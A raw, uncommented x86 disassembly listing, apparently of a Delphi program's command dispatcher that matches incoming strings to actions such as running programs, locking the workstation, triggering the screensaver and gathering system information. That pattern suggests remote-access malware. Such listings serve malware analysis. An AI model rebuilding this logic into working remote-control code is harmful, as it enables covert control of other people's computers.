call fcn.004055c8
push ebp
lea eax, [ebp - 0x418]
call fcn.0048a480
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475fd8
pop ecx
lea eax, [ebp - 0x41c]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x41c]
mov edx, 0x47da6c
call fcn.00405974
jne 0x478957
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0048a72c
lea eax, [ebp - 0x420]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x420]
mov edx, 0x47da80
call fcn.00405974
jne 0x4789e7
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0048a7e0
lea eax, [ebp - 0x424]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x424]
mov edx, 0x47da94
call fcn.00405974
jne 0x478a34
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 5
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 0x428]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x428]
mov edx, 0x47daac
call fcn.00405974
jne 0x478b18
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x42c]
call fcn.00471640
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475fd8
pop ecx
lea eax, [ebp - 0x430]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x430]
mov edx, 0x47dac0
call fcn.00405974
jne 0x478b6e
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x434]
call fcn.0046d9e0
mov eax, dword [ebp - 0x434]
mov edx, dword [ebp - 8]
call fcn.0046dd38
lea eax, [ebp - 0x438]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x438]
mov edx, 0x47dad8
call fcn.00405974
jne 0x478bc4
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x43c]
call fcn.0046d9e0
mov eax, dword [ebp - 0x43c]
mov edx, dword [ebp - 8]
call fcn.0046dc70
lea eax, [ebp - 0x440]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x440]
mov edx, 0x47daf0
call fcn.00405974
jne 0x478c09
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.004715b0
lea eax, [ebp - 0x444]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x444]
mov edx, 0x47db08
call fcn.00405974
jne 0x478d03
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x14]
call fcn.004059dc
mov edx, eax
lea eax, [ebp - 0x448]
call fcn.00405728
mov eax, dword [ebp - 0x448]
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
pop edx
pop ecx
call fcn.00471850
lea eax, [ebp - 0x44c]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x44c]
mov edx, 0x47db20
call fcn.00405974
jne 0x478de7
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x450]
call fcn.0046f744
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475fd8
pop ecx
lea eax, [ebp - 0x454]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x454]
mov edx, 0x47db38
call fcn.00405974
jne 0x478ed1
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
call fcn.004055c8
lea eax, [ebp - 0x14]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov ecx, 4
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
push 0x47db4c
push dword [ebp - 0x14]
push 0x47db4c
lea eax, [ebp - 0x458]
mov edx, 3
call fcn.004058e0
mov edx, dword [ebp - 0x458]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046ff10
mov eax, dword [ebp - 8]
mov edx, 0x47db58
call fcn.00405974
jne 0x478ee5
call fcn.0046fff0
lea eax, [ebp - 0x45c]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x45c]
mov edx, 0x47db70
call fcn.00405974
jne 0x478fbf
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, 0x47db84
mov eax, dword [ebp - 0x14]
call fcn.00484fc0
mov eax, dword [ebp - 8]
mov edx, 0x47db90
call fcn.00405974
jne 0x478ff1
push 2
lea edx, [ebp - 0x460]
mov eax, dword [0x45ea6c]
call fcn.0045eac4
mov eax, dword [ebp - 0x460]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dba4
call fcn.00405974
jne 0x479023
push 0xa
lea edx, [ebp - 0x464]
mov eax, dword [0x45ea6c]
call fcn.0045eac4
mov eax, dword [ebp - 0x464]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dbb4
call fcn.00405974
jne 0x479055
push 0x22
lea edx, [ebp - 0x468]
mov eax, dword [0x45ea6c]
call fcn.0045eac4
mov eax, dword [ebp - 0x468]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dbc4
call fcn.00405974
jne 0x479087
push 1
lea edx, [ebp - 0x46c]
mov eax, dword [0x45ea6c]
call fcn.0045eac4
mov eax, dword [ebp - 0x46c]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dbd8
call fcn.00405974
jne 0x4790b7
lea edx, [ebp - 0x470]
mov eax, dword [0x45ea6c]
call fcn.0045eac4
mov eax, dword [ebp - 0x470]
push eax
mov eax, dword [eax]
call dword [eax + 0x3c]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47dbec
call fcn.00405974
jne 0x4792c1
lea eax, [ebp - 0x474]
call fcn.00405d28
push eax
lea edx, [ebp - 0x478]
mov eax, dword [0x45ea6c]
call fcn.0045eac4
mov eax, dword [ebp - 0x478]
push eax
mov eax, dword [eax]
call dword [eax + 0x90]
call fcn.0040711c
mov edx, dword [ebp - 0x474]
lea eax, [ebp - 0xc]
call fcn.004057d4
lea eax, [ebp - 0x47c]
call fcn.00405d28
push eax
lea edx, [ebp - 0x480]
mov eax, dword [0x45ea6c]
call fcn.0045eac4
mov eax, dword [ebp - 0x480]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
call fcn.0040711c
mov edx, dword [ebp - 0x47c]
lea eax, [ebp - 0x10]
call fcn.004057d4
call fcn.004700d8
cmp al, 1
jne 0x479187
lea eax, [ebp - 0x484]
call fcn.00405d28
push eax
lea edx, [ebp - 0x488]
mov eax, dword [0x45ea6c]
call fcn.0045eac4
mov eax, dword [ebp - 0x488]
push eax
mov eax, dword [eax]
call dword [eax + 0x6c]
call fcn.0040711c
mov edx, dword [ebp - 0x484]
lea eax, [ebp - 0x14]
call fcn.004057d4
call fcn.004700d8
cmp al, 1
jne 0x4791cb
lea eax, [ebp - 0x48c]
call fcn.00405d28
push eax
lea edx, [ebp - 0x490]
mov eax, dword [0x45ea6c]
call fcn.0045eac4
mov eax, dword [ebp - 0x490]
push eax
mov eax, dword [eax]
call dword [eax + 0x70]
call fcn.0040711c
mov edx, dword [ebp - 0x48c]
lea eax, [ebp - 0x18]
call fcn.004057d4
lea eax, [ebp - 0x494]
call fcn.00405d28
push eax
lea edx, [ebp - 0x498]
mov eax, dword [0x45ea6c]
call fcn.0045eac4
mov eax, dword [ebp - 0x498]
push eax
mov eax, dword [eax]
call dword [eax + 0x80]
call fcn.0040711c
mov edx, dword [ebp - 0x494]
lea eax, [ebp - 0x1c]
call fcn.004057d4
cmp dword [ebp - 0xc], 0
jne 0x47921c
lea eax, [ebp - 0xc]
mov edx, 0x47dc00
call fcn.004055c8
cmp dword [ebp - 0x10], 0
jne 0x47922f
lea eax, [ebp - 0x10]
mov edx, 0x47dc00
call fcn.004055c8
cmp dword [ebp - 0x14], 0
jne 0x479242
lea eax, [ebp - 0x14]
mov edx, 0x47dc00
call fcn.004055c8
cmp dword [ebp - 0x18], 0
jne 0x479255
lea eax, [ebp - 0x18]
mov edx, 0x47dc00
call fcn.004055c8
cmp dword [ebp - 0x1c], 0
jne 0x479268
lea eax, [ebp - 0x1c]
mov edx, 0x47dc00
call fcn.004055c8
push 0x47dc0c
push dword [ebp - 0xc]
push 0x47d2ec
push dword [ebp - 0x10]
push 0x47d2ec
push dword [ebp - 0x14]
push 0x47d2ec
push dword [ebp - 0x18]
push 0x47d2ec
push dword [ebp - 0x1c]
push 0x47d2ec
lea eax, [ebp - 0x4a0]
call fcn.00470178
push dword [ebp - 0x4a0]
lea eax, [ebp - 0x49c]
mov edx, 0xc
call fcn.004058e0
mov eax, dword [ebp - 0x49c]
call fcn.00475e2c
lea eax, [ebp - 0x4a4]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4a4]
mov edx, 0x47dc1c
call fcn.00405974
jne 0x4793a5
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x4a8]
call fcn.004703fc
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475fd8
pop ecx
lea eax, [ebp - 0x4ac]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4ac]
mov edx, 0x47dc30
call fcn.00405974
jne 0x4793f3
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
call fcn.004700d8
cmp al, 1
jne 0x4793f3
mov eax, dword [ebp - 8]
call fcn.00470784
lea eax, [ebp - 0x4b0]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4b0]
mov edx, 0x47dc44
call fcn.00405974
jne 0x479441
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
call fcn.004700d8
cmp al, 1
jne 0x479441
mov eax, dword [ebp - 8]
call fcn.0047037c
lea eax, [ebp - 0x4b4]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4b4]
mov edx, 0x47dc58
call fcn.00405974
jne 0x47948f
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
call fcn.004700d8
cmp al, 1
jne 0x47948f
mov eax, dword [ebp - 8]
call fcn.004708d0
lea eax, [ebp - 0x4b8]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4b8]
mov edx, 0x47dc70
call fcn.00405974
jne 0x4794dd
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
call fcn.004700d8
cmp al, 1
jne 0x4794dd
mov eax, dword [ebp - 8]
call fcn.00470a1c
lea eax, [ebp - 0x4bc]
push eax
mov ecx, 0x15
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4bc]
mov edx, 0x47dc88
call fcn.00405974
jne 0x479571
lea eax, [ebp - 8]
mov ecx, 0x15
mov edx, 1
call fcn.00405a84
mov eax, dword [0x494a84]
mov dword [eax], 1
mov eax, dword [0x494b6c]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [0x494ba8]
mov edx, dword [ebp - 8]
call fcn.00405584
mov eax, dword [ebp - 8]
mov edx, 0x47dca8
call fcn.00405974
jne 0x479589
mov eax, dword [0x494a84]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x4c0]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4c0]
mov edx, 0x47dcc8
call fcn.00405974
jne 0x47966a
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
mov eax, dword [0x4948f4]
cmp dword [eax], 1
jne 0x4795de
mov eax, 0x47dce0
call fcn.00475e2c
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea edx, [ebp - 0x4c8]
mov eax, 0x1a
call fcn.0048adcc
lea eax, [ebp - 0x4c8]
mov edx, 0x47dcf4
call fcn.00405818
mov eax, dword [ebp - 0x4c8]
lea edx, [ebp - 0x4c4]
call fcn.00480e44
mov eax, dword [ebp - 0x4c4]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00475fd8
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47dd04
call fcn.00405974
jne 0x4796a4
mov eax, dword [0x4948f4]
cmp dword [eax], 1
je 0x4796a4
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x482028
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov eax, dword [0x4948f4]
mov dword [eax], 1
mov eax, dword [ebp - 8]
mov edx, 0x47dd24
call fcn.00405974
jne 0x4796bc
mov eax, dword [0x4948f4]
xor edx, edx
mov dword [eax], edx
mov eax, dword [ebp - 8]
mov edx, 0x47dd48
call fcn.00405974
jne 0x4796d6
mov eax, dword [0x494a84]
mov dword [eax], 1
mov eax, dword [ebp - 8]
mov edx, 0x47dd68
call fcn.00405974
jne 0x4796ee
mov eax, dword [0x494a84]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x4cc]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4cc]
mov edx, 0x47dd8c
call fcn.00405974
jne 0x479850
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x4d4]
mov eax, 0x1a
call fcn.0048adcc
push dword [ebp - 0x4d4]
push 0x47dcf4
push dword [ebp - 0xc]
lea eax, [ebp - 0x4d0]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x4d0]
call fcn.0040a26c
test al, al
jne 0x4797fe
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47d148
push ebp
lea edx, [ebp - 0x4e0]
mov eax, 0x1a
call fcn.0048adcc
push dword [ebp - 0x4e0]
push 0x47dcf4
push dword [ebp - 0xc]
lea eax, [ebp - 0x4dc]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x4dc]
lea edx, [ebp - 0x4d8]
call fcn.0048aab0
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475fd8
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47dda4
call fcn.00405974
jne 0x479869
mov eax, 0x11
call fcn.0048a070
mov eax, dword [ebp - 8]
mov edx, 0x47ddb8
call fcn.00405974
jne 0x479882
mov eax, 0x12
call fcn.0048a070
mov eax, dword [ebp - 8]
mov edx, 0x47ddcc
call fcn.00405974
jne 0x47989b
mov eax, 0x10
call fcn.0048a070
mov eax, dword [ebp - 8]
mov edx, 0x47dde0
call fcn.00405974
jne 0x4798b4
mov eax, 0x18
call fcn.0048a070
mov eax, dword [ebp - 8]
mov edx, 0x47ddf4
call fcn.00405974
jne 0x4798d6
push 0
push 0xf140
push 0x112
push 0
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 8]
mov edx, 0x47de08
call fcn.00405974
jne 0x4798ea
call sub.user32.dll_LockWorkStation
lea eax, [ebp - 0x4e4]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4e4]
mov edx, 0x47de1c
call fcn.00405974
jne 0x479bdb
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d2ec
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea eax, [ebp - 0x4e8]
mov edx, dword [0x494b30]
mov edx, dword [edx]
call fcn.00405728
push dword [ebp - 0x4e8]
push 0x47d720
lea edx, [ebp - 0x4ec]
mov eax, dword [0x4949d4]
movzx eax, word [eax]
call fcn.00409d70
push dword [ebp - 0x4ec]
push 0x47d720
lea eax, [ebp - 0x4f0]
call fcn.0048d6a4
push dword [ebp - 0x4f0]
push 0x47d720
lea eax, [ebp - 0x4f4]
call fcn.0048ceb0
push dword [ebp - 0x4f4]
push 0x47d5dc
lea eax, [ebp - 0x4f8]
call fcn.0048ce74
push dword [ebp - 0x4f8]
push 0x47d720
lea eax, [ebp - 0x4fc]
call fcn.0048d3c4
push dword [ebp - 0x4fc]
push 0x47d720
lea eax, [ebp - 0x500]
call fcn.0046d2ec
push dword [ebp - 0x500]
push 0x47d720
push 0x47de30
push 0x47d720
lea eax, [ebp - 0x504]
call fcn.0048cf38
push dword [ebp - 0x504]
push 0x47d720
lea eax, [ebp - 0x508]
call fcn.0048d1f4
push dword [ebp - 0x508]
push 0x47d720
lea eax, [ebp - 0x50c]
call fcn.0048d248
push dword [ebp - 0x50c]
push 0x47d720
lea eax, [ebp - 0x510]
call fcn.0048d298
push dword [ebp - 0x510]
push 0x47d720
lea eax, [ebp - 0x514]
call fcn.0048d2fc
push dword [ebp - 0x514]
push 0x47d720
lea eax, [ebp - 0x518]
call fcn.0048d6d4
push dword [ebp - 0x518]
push 0x47d720
lea eax, [ebp - 0x51c]
call fcn.0048d704
push dword [ebp - 0x51c]
push 0x47d720
lea eax, [ebp - 0x520]
call fcn.0048d9b0
push dword [ebp - 0x520]
push 0x47d720
lea eax, [ebp - 0x528]
call fcn.0046d9e0
mov eax, dword [ebp - 0x528]
lea edx, [ebp - 0x524]
call fcn.0048da48
push dword [ebp - 0x524]
push 0x47d720
lea edx, [ebp - 0x52c]
xor eax, eax
call fcn.0040f234
push dword [ebp - 0x52c]
push 0x47d720
mov eax, dword [0x494d38]
push dword [eax]
push 0x47d720
mov eax, dword [0x494910]
push dword [eax]
push 0x47d720
lea edx, [ebp - 0x534]
mov eax, 0x47de3c
call fcn.004735e8
mov eax, dword [ebp - 0x534]
lea edx, [ebp - 0x530]
call fcn.0048bbdc
push dword [ebp - 0x530]
push 0x47d720
lea eax, [ebp - 0x538]
call fcn.0048bc6c
push dword [ebp - 0x538]
push 0x47d720
lea eax, [ebp - 0x53c]
call fcn.0048cbc4
push dword [ebp - 0x53c]
lea eax, [ebp - 0xc]
mov edx, 0x2d
call fcn.004058e0
push ebp
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00475fd8
pop ecx
lea eax, [ebp - 0x540]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x540]
mov edx, 0x47de50
call fcn.00405974
jne 0x479cb0
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [0x494900]
cmp dword [eax], 0
je 0x479c4e
mov eax, dword [0x494900]
mov eax, dword [eax]
call fcn.00485da0
test al, al
je 0x479c4e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47d148
mov cl, 1
mov dl, 1
mov eax, dword [0x48580c]
call fcn.0041fa34
mov edx, dword [0x494900]
mov dword [edx], eax
mov eax, dword [0x494900]
mov eax, dword [eax]
mov byte [eax + 0xf], 1
mov eax, dword [0x494900]
mov eax, dword [eax]
mov dl, 5
call fcn.0041fc40
mov eax, dword [ebp - 0xc]
call fcn.00409edc
mov edx, eax
mov eax, dword [0x494900]
mov eax, dword [eax]
call fcn.00485d50
mov eax, dword [0x494900]
mov eax, dword [eax]
mov edx, 0x47d504
call fcn.00485d54
mov eax, dword [0x494900]
mov eax, dword [eax]
call fcn.0041fef0
lea eax, [ebp - 0x544]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x544]
mov edx, 0x47de68
call fcn.00405974
jne 0x479d08
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x47d3d4
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x548]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x548]
mov edx, 0x47de7c
call fcn.00405974
jne 0x479da7
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x54c]
call fcn.00489bb0
lea eax, [ebp - 0x54c]
